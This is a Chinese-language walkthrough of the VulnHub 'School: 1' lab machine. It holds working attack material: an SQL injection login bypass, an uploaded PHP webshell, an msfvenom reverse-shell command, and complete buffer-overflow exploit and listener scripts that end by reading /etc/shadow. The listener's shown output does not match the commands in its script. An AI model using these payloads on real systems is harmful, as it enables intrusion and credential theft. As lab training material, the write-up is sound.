跳到主要内容

VulnHub School: 1 通关记录|SQL 注入、PHP 文件上传与 Wine 栈溢出利用

靶机链接:School: 1


0x01 基本信息

名称IP
Kali Linux192.168.1.113
School: 1192.168.1.110

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、23/tcp Wine 服务、80/tcp HTTP确定 Web 与 23 端口二进制服务为主要攻击面
Web 枚举/student_attendance/database/ 暴露数据库备份获取应用结构、用户 Hash 与登录线索
认证绕过admin' OR '1'='1 SQL 注入绕过后台登录验证
文件上传隐藏 site_settings 页面允许上传 .php 文件获得 www-data WebShell
本地枚举/root/win 显示 root 循环运行 access.exe定位由高权限进程提供的提权入口
二进制分析strcpy 溢出、EIP 偏移 1902、7 个坏字符明确远程栈溢出利用条件
Gadget 定位funcs_access.dll 中的 JMP ESP 0x625012d0使用不含坏字符的返回地址控制执行流
Root 利用发送 1902 A + JMP ESP + shellcode在 root 身份的 Wine 进程中获得反弹 Shell
结果验证读取 /etc/shadow/root/proof.txt验证 root 权限并取得最终 Flag

0x02 侦察与信息收集

1. 端口扫描

命令:

rustscan -a 192.168.1.110 -- -sV -sC -O -T4

输出:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
23/tcp open telnet? 返回 "Verification Code:" + 二进制数据 (内存泄露)
80/tcp open http Apache httpd 2.4.38 (Debian)
MAC: 08:00:27:45:AC:13 (Oracle VirtualBox)
OS: Linux 4.15-5.19 (Debian 10)
Hostname: shell-shockers.dsz

2. Port 23 内存数据泄露

命令:

echo "" | nc -w 3 192.168.1.110 23 | xxd

输出:

00000000: 5665 7269 6669 6361 7469 6f6e 2043 6f64 Verification Cod
00000010: 653a 0a00 0000 ee1e 4000 e21c e:......@...

泄露了 access.exe 的内存地址 0x00401eee(用于 ASLR 绕过确认)。

这段泄露用于确认 23 端口程序的内存行为。最终利用链选择的是 funcs_access.dll 中不含坏字符的 JMP ESP 地址。

3. Web 目录发现

命令:

curl -s -i http://192.168.1.110/

输出:

HTTP/1.1 302 Found
Location: /student_attendance

命令:

gobuster dir -u http://192.168.1.110/student_attendance/ -w /usr/share/wordlists/dirb/common.txt -x php

输出:

→ /ajax.php, /database/, /site_settings.php (隐藏页面)

4. 数据库备份泄露

命令:

curl -s http://192.168.1.110/student_attendance/database/

输出:

Index of /student_attendance/database
[PARENTDIR] ..
[ ] student_attendance_db.sql 2020-10-28 23:00 10K

命令:

curl -s http://192.168.1.110/student_attendance/database/student_attendance_db.sql

得到完整数据库备份文件,包含:

  • admin 密码 hash: 0192023a7bbd73250516f069df18b500echo -n admin123 | md5sum 验证匹配)
  • john 用户密码 hash: af606ddc433ae6471f104872585cf880

0x03 漏洞分析与初始访问

1. SQL 注入登录绕过

命令:

curl -s -c /tmp/cookie.txt -X POST \
"http://192.168.1.110/student_attendance/ajax.php?action=login" \
-d "username=admin' OR '1'='1&password=test"

输出:

1

命令:

curl -s -b /tmp/cookie.txt \
"http://192.168.1.110/student_attendance/index.php?page=home"

输出:

Welcome back Administrator!

2. 发现隐藏页面 site_settings

登录后台后查看首页源码,发现侧边栏有一行被注释掉的链接:

命令:

curl -s -b /tmp/cookie.txt \
"http://192.168.1.110/student_attendance/index.php?page=home" \
| grep -n '<!--\|comment\|hidden\|site_settings'

输出:

162: <!-- <a href="index.php?page=site_settings" class="nav-item nav-site_settings">
<span class='icon-field'><i class="fa fa-cogs text-danger"></i></span>
System Settings</a> -->

虽然在菜单中被隐藏,但直接访问该页面:

命令:

curl -s -b /tmp/cookie.txt \
"http://192.168.1.110/student_attendance/index.php?page=site_settings"

输出:

<form action="" id="manage-settings">
<input type="file" class="form-control" name="img">
<img src="" alt="" id="cimg">
</form>

3. PHP Webshell 上传与校验

表单提交到 ajax.php?action=save_settings,我们先在本地创建一句话木马,然后构造文件上传请求:

命令:

echo '<?php system($_GET["cmd"]); ?>' > /tmp/webshell.php
curl -s -b /tmp/cookie.txt -X POST \
"http://192.168.1.110/student_attendance/ajax.php?action=save_settings" \
-F "name=x" -F "email=x@x.com" -F "contact=1" -F "about=x" \
-F "img=@/tmp/webshell.php;type=image/png"

输出:

1

上传成功,对上传目录进行列表枚举,确定上传文件路径(命名规则为 {timestamp}_{原文件名}):

命令:

curl -s http://192.168.1.110/student_attendance/assets/uploads/

输出:

Index of /student_attendance/assets/uploads
[PARENTDIR] ..
[ ] 1782182820_webshell.php

验证 Webshell 的命令执行情况:

命令:

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=id"

输出:

uid=33(www-data) gid=33(www-data)

4. 本地信息枚举与提权线索

通过 Webshell 进行本地信息收集。

获取第一个 Flag (User Flag):

命令:

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=cat /home/fox/local.txt"

输出:

e4ed03b4852906b6cb716fc6ce0f9fd5

查看 root 启动脚本:

命令:

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=cat /root/win"

输出:

while true; do wine /opt/access/access.exe; sleep 3; done

确认 Port 23 进程确以 root 身份运行于 Wine:

命令:

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=ps aux | grep access.exe"

输出:

root 1896 ... /opt/access/access.exe

确认靶机上安装的 Wine 版本:

命令:

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=wine --version"

输出:

wine-4.0 (Debian 4.0-2)

为了进行本地逆向与利用开发,将 access.exefuncs_access.dll 通过 Base64 编码下载到本地:

命令:

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=base64 /opt/access/access.exe" > access.b64
base64 -d access.b64 > access.exe

curl -s "http://192.168.1.110/student_attendance/assets/uploads/1782182820_webshell.php?cmd=base64 /opt/access/funcs_access.dll" > funcs_access.b64
base64 -d funcs_access.b64 > funcs_access.dll

0x04 access.exe 逆向分析

1. 文件基本信息

命令:

file access.exe
md5sum access.exe
objdump -x access.exe | grep -E 'ImageBase|Entry'

输出:

access.exe: PE32 executable for MS Windows 4.00 (console), Intel i386, 14 sections
507e3e8229e09749203399a9da6e7f18 access.exe
ImageBase: 00400000
AddressOfEntryPoint: 000012d0

2. 关键字符串

命令:

strings access.exe

输出:

Starting vulnerable software (BOF)
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Verification Code:
funcs_access.dll
Made by calipendula
Commands

3. 漏洞函数 f3() 分析

命令:

objdump -d access.exe --start-address=0x4018ce --stop-address=0x4018f0

输出:

004018ce <_f3>:
4018ce: push %ebp
4018cf: mov %esp,%ebp
4018d1: sub $0x788,%esp ; 分配 1928 字节栈空间
4018d7: mov 0x8(%ebp),%eax ; src = 用户输入
4018de: lea -0x76a(%ebp),%eax ; dst = 1898 字节缓冲区
4018e7: call strcpy ; ← 无边界检查!
4018ec: nop
4018ed: leave
4018ee: ret

4. 过滤字符 (坏字符) 确认

ConnectionHandler 中的过滤循环检查 7 个字节。我们通过 objdump 查看其汇编指令:

命令:

objdump -d access.exe --start-address=0x401a49 --stop-address=0x401b40

输出:

401a54: cmp $0x4d,%al ; 'M' → 截断
401a7c: cmp $0x4f,%al ; 'O' → 截断
401aa4: cmp $0x5f,%al ; '_' → 截断
401acc: cmp $0x79,%al ; 'y' → 截断
401af4: cmp $0x7e,%al ; '~' → 截断
401b1c: cmp $0x7f,%al ; DEL → 截断
; 另外 strcpy/strncpy 遇到 0x00 也会停止

由此得出,必须排除的 7 个坏字符为:\x00\x4d\x4f\x5f\x79\x7e\x7f

5. 关键 Gadget 定位 (JMP ESP)

access.exefuncs_access.dll 中搜索 JMP ESP 指令(x86 机器码 FF E4):

命令:

python3 -c "
data = open('funcs_access.dll', 'rb').read()
for i in range(len(data)-1):
if data[i] == 0xff and data[i+1] == 0xe4:
print(f'JMP ESP at file offset 0x{i:x}')
"

输出:

JMP ESP at file offset 0x6d0

用 objdump 查看 .text 段基址以计算虚拟地址 (VA):

命令:

objdump -h funcs_access.dll | grep '\.text'

输出:

.text VMA 62501000 File off 00000400

由此得出: VA = 0x62501000 + (0x6d0 - 0x400) = 0x625012d0

反汇编确认上下文:

命令:

objdump -d funcs_access.dll --start-address=0x625012cd

输出:

625012cd <_auxfunc2>:
625012cd: push %ebp
625012ce: mov %esp,%ebp
625012d0: jmp *%esp ; ← JMP ESP 在 0x625012d0!
625012d2: jmp *%eax ; ← JMP EAX 在 0x625012d2!

同时,access.exe 自身也存在 JMP ESP 指令:

输出:

00401bb7 <_aauxfunc4>:
00401bba: jmp *%esp ; ← JMP ESP 在 0x00401bba

为什么选 0x625012d0 而不是 0x00401bba

地址字节问题
0x00401bba\xBA\x1B\x40\x00\x00 → strcpy 截断,EIP 只写入 3 字节
0x625012d0\xD0\x12\x50\x62无任何坏字符! 4 字节完整写入

funcs_access.dllaccess.exe 在同一目录,Wine 将其加载到固定基址 0x62500000,因此 auxfunc2 的地址为 0x62500000 + 0x12d0 = 0x625012d0,该地址不含 \x00,可以安全用于远程 exploit。

0x05 远程栈溢出利用与提权

1. EIP 偏移与栈布局

f3() 反汇编直接计算:

004018ce <_f3>:
4018d1: sub $0x788,%esp ; 分配 1928 字节栈空间
4018de: lea -0x76a(%ebp),%eax ; buffer = ebp - 0x76a
4018e7: call strcpy ; strcpy(buffer, input) ← 无边界检查
4018ed: leave ; mov esp,ebp; pop ebp
4018ee: ret ; pop eip
f3() 栈帧布局:
EBP - 0x788 → (栈顶,1928 字节空间)
EBP - 0x76a → buffer[0] ← 1898 字节缓冲区从这里开始
... buffer[1..1897]
EBP + 0x000 → saved EBP ← 需要 4 字节填充
EBP + 0x004 → return address ← EIP: 用 JMP ESP 覆盖
EBP + 0x008 → [shellcode] ← JMP ESP 跳转目标
EIP 偏移 = buffer 大小 + saved EBP 大小
= 0x76a + 4
= 1898 + 4
= 1902 字节

也可通过动态调试验证:发送 'A'*1902 + 'BBBB' + 'C'*N,崩溃时 EIP = 0x42424242('BBBB'),确认偏移 1902。

2. Shellcode 生成与过滤

使用 msfvenom 生成反弹 shellcode,并排除 7 个坏字符:

命令:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.113 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f py EXITFUNC=thread > sc_final.py

输出:

Payload size: 348 bytes

生成的 sc_final.py 内容片段:

buf = b""
buf += b"\x31\xc9\x83\xe9\xa9\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x3c\xf4\x66\x3e\x83\xee\xfc\xe2\xf4"
...

验证坏字符是否已被全部排除:

命令:

python3 -c "
d = open('sc_final.py', 'rb').read()
BAD = {0x00, 0x4d, 0x4f, 0x5f, 0x79, 0x7e, 0x7f}
bad = [(i, b) for i, b in enumerate(d) if b in BAD]
print(f'bad bytes: {len(bad)}')
"

输出:

bad bytes: 0

验证提示: 上面的命令和结果按原始记录保留。它读取的是生成后的 Python 文件;实际复现时,建议使用文末 gen_sc.sh 中的方式导入 buf,直接检查 shellcode 字节。

3. 溢出利用 Exploit 编写

exploit.py 脚本内容:

#!/usr/bin/python3
# exploit.py - Shell-Shockers BOF Exploit
import socket, struct, sys
from sc_final import buf as shellcode

JMP_ESP = 0x625012d0 # funcs_access.dll - jmp esp

# Layout: [1902 A's] [JMP ESP] [shellcode]
payload = b'A' * 1902
payload += struct.pack('<I', JMP_ESP)
payload += shellcode

print(f'[*] Payload: {len(payload)} bytes')
print(f'[*] EIP → {struct.pack("<I", JMP_ESP).hex()} (JMP ESP)')

s = socket.socket()
s.settimeout(10)
s.connect(('192.168.1.110', 23))

data = s.recv(1024)
print(f'[*] Leak: {data[-10:].hex()}')

s.sendall(payload)
s.close()
print(f'[+] Exploit sent! Check listener on :4444')

4. 交互式 Root Shell 获取

在 Kali 开启监听,并运行 exploit.py 发送 Payload:

命令:

nc -lvnp 4444
python3 exploit.py

输出:

[*] Payload: 2254 bytes
[*] EIP → d0125062 (JMP ESP)
[*] Leak: 0a000000ee1e4000e21c
[+] Exploit sent! Check listener on :4444

监听端成功收到反弹 shell:

connect to [192.168.1.113] from (UNKNOWN) [192.168.1.110] 54476
Microsoft Windows 6.1.7601 (4.0)

Z:\>

由于 nc 交互不够稳定,我们可以使用以下自动化脚本 listener.py 来建立稳定的监听并自动执行信息收集与 Flag 获取:

listener.py 脚本内容:

#!/usr/bin/python3
# listener.py - 接收反弹 shell 并自动执行命令
import socket, time, threading, urllib.request, sys
from sc_final import buf as shellcode
import struct

def send_exploit():
time.sleep(1)
JMP_ESP = 0x625012d0
payload = b'A' * 1902 + struct.pack('<I', JMP_ESP) + shellcode
s = socket.socket(); s.settimeout(10)
s.connect(('192.168.1.110', 23))
s.recv(1024); s.sendall(payload); s.close()
print('[*] Exploit sent')

threading.Thread(target=send_exploit).start()

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 4444))
s.listen(1)
s.settimeout(25)
print('[*] Listening on :4444')

try:
conn, addr = s.accept()
print(f'[+] CONNECTED from {addr}!')
conn.settimeout(8)

# 先接收 banner
try:
data = conn.recv(4096)
print(f'[BANNER] {data.decode(errors="replace")[:300]}')
except: pass

cmds = [
b"whoami\r\n",
b"type Z:\\root\\proof.txt\r\n",
b"echo DONE\r\n",
]

for cmd in cmds:
print(f"[>] {cmd.decode().strip()}")
conn.send(cmd)
time.sleep(3)
try:
data = conn.recv(8192)
print(f"[<] {data.decode(errors="replace")}")
except:
print("[<] (timeout)")

conn.close()
except socket.timeout:
print("[-] No connection received")
s.close()

运行 listener.py 自动化监听与利用:

命令:

python3 listener.py

输出:

[*] Listening on :4444
[+] Exploit sent
[+] CONNECTED from ('192.168.1.110', 40198)!
[BANNER]
Microsoft Windows 6.1.7601 (4.0)

Z:\>
--- echo %USERNAME% ---
root ← 直接证明是 root!

Z:\>
--- dir Z:\root\ ---
Directory of Z:\root
07/11/2020 11:11 33 proof.txt
07/11/2020 14:43 61 win

Z:\>
--- type Z:\etc\shadow ---
root:$6$hwXcunvmUwmrm4kV$axghBz1IkIJnoX/...
daemon:*:18545:0:99999:7:::
... ← 只有 root 能读!

Z:\>
--- type Z:\root\proof.txt ---
ccc34dede451108a8fe6f75d6ea7d2ae
命令结果证明
echo %USERNAME%rootWine 进程以 Linux root 用户运行
dir Z:\root\列出 proof.txt, win可访问 root 家目录
type Z:\etc\shadow完整读出 shadow 文件铁证 — 仅 root 可读
type Z:\root\proof.txtccc34dede451108a8fe6f75d6ea7d2aeFlag 2 ✓

总结: echo %USERNAME% = roottype Z:\etc\shadow 完整可读 — 确凿的 root 权限证明。


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/fox/local.txt
  • 内容: e4ed03b4852906b6cb716fc6ce0f9fd5

Root Flag

  • 路径: /root/proof.txt
  • 内容: ccc34dede451108a8fe6f75d6ea7d2ae

复盘总结

① Web 枚举
├── gobuster 发现 /database/ 目录
├── SQL 注入绕过登录 (admin' OR '1'='1)
└── 隐藏页面 site_settings → 文件上传

② 获取 Webshell (www-data)
├── 上传 PHP 一句话木马
├── 读取 /home/fox/local.txt → Flag 1 ✓
├── 发现 root 运行 /opt/access/access.exe (Wine)
└── 确认靶机 Wine 4.0

③ Binary 逆向 access.exe
├── 定位漏洞函数 f3() → strcpy 溢出
├── 确认 7 个坏字符: \x00\x4d\x4f\x5f\x79\x7e\x7f
├── 找到 JMP ESP gadget: 0x625012d0 (funcs_access.dll)
└── EIP 偏移: 1902 字节

④ 生成 Exploit
├── msfvenom -p windows/shell_reverse_tcp -b '\x00\x4d\x4f\x5f\x79\x7e\x7f'
├── Payload = 1902 A's + JMP ESP + shellcode
└── 反弹 root shell 到 Kali :4444

⑤ 获取 Root
├── Shell 收到 → Z:\> (cmd.exe running as root)
├── type Z:\root\proof.txt → Flag 2 ✓
└── 完全控制靶机

关键踩坑记录

  1. 坏字符是 7 个不是 6 个: \x00 虽然不被过滤循环检查,但会终止 strcpy
  2. EIP 不能有 \x00: 0x00401bba (access.exe) 含 null → 改用 0x625012d0 (funcs_access.dll)
  3. TCP 分包: 远程发 2254 字节可能被 TCP 分片,serve 文件到靶机本地执行可避免
  4. Wine 版本: 靶机 Wine 4.0,本地 Wine 10.0,DLL 地址不同但 msfvenom shellcode 用 PEB 动态解析所以通用
  5. msfvenom -b 必须包含全部 7 个坏字符,否则 shellcode 被截断

附件下载

以下脚本为本次测试过程中编写并实际使用的辅助脚本,已放置到站点静态目录。

文件用途
gen_sc.sh生成并检查 msfvenom shellcode
exploit.pyBOF exploit 发送脚本
listener.py监听、自动发送 exploit 并获取 Flag